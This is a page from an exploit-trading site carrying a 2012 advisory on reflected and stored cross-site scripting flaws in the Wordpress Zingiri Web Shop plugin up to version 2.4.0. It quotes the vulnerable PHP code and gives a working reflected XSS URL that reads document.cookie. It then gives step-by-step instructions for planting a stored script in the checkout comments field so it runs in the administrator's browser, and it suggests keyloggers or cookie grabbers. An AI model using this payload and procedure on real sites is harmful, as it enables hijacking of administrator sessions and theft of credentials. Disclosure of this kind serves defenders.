0day.today - Biggest Exploit Database in the World.
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn
GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Contact us
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
Wordpress Zingiri Web Shop Plugin <= 2.4.0 Multiple XSS Vulnerabilities
[##############################################################################
Wordpress Zingiri Web Shop Plugin <= 2.4.0 Multiple XSS Vulnerabilities
author...............: Mehmet Ince
twitte...............: https://twitter.com/#!/mmetince
mail.................: mehmet.ince@bga.com.tr
software link........: http://www.zingiri.com
affected versions....: tested on 2.3.0 and 2.4.0
# Exploit Title: Wordpress Zingiri Web Shop Plugin <= 2.4.0 Multiple XSS
Vulnerabilities
# Google Dork:
# Date: 26 Apr 2012
# Author: Mehmet INCE
# Software Link:
http://downloads.wordpress.org/plugin/zingiri-web-shop.2.4.0.zip
# Version: 2.4.0 and older.
# Tested on: version of 2.3.0 and 2.4.0 with Ubuntu 11.10 Server with
Firefox browser.
##############################################################################
/*
## BASIC XSS
PS: Exploitable without Authentication
plugins/zingiri-web-shop/zing.inc.php
line at 401.
if ($process=='content' && $page!='ajax' && $page!='downldr') echo '<div
class="zing_ws_page" id="zing_ws_'.$_GET['page'].'">';
Exploit:
http://localhost/wordpress/?page=%22%3E%3Cscript%3Ealert%28document.cookie%29%3C/script%3E
'page' variable isn't properly sanitized before being used.
## STORED XSS
PS: Attacker should be logged for exploit.
./fws/pages-front/onecheckout.php
line 27-29
if (!empty($_POST['notes'])) {
$notes=$_POST['notes'];
}
and line 348
<textarea name="notes" rows="5" style="width: 100%"><?php echo
$notes;?></textarea><br />
'notes' variable isn't properly sanitized before being used.
That's very basic XSS vulnerabilities. But you dont need use fishing attack
to target webpage's administrator. That application insert datas to
database with that form. After your malicious code posted up, your
javascrip code inserted to database with $_POST['notes'] variable. When
administrator wanna see list of ordered items list. Javascript codes will
come from database and start working on Authenticated admin user side.
After that You can use browser keylogger with BT5 tools or can usee cookie
grabber.
*/
step 1: Login to wordpress.
step 2: Go to "Shop" menu. It's should be stay at banner.
http://6.6.6.102/wordpress/?page_id=14
step 3: Than you'll see list ot items. Click one of them.
http://6.6.6.102/wordpress/?page=details&prod=2&cat=1&page_id=14
step 4: You can pass that form action. That wont be problem..! Click to
"Order" button.
step 5: There is confirmation about the Shopping. Click "checkout" to pass
that page.
step 6: It's final stage. Put you javascript payload to "Additional
comments/questions" form. After you click checkout button, that form will
get all of these input data with POST method.
step 7: Click to "Checkout"
# 0day.today [2024-09-29] #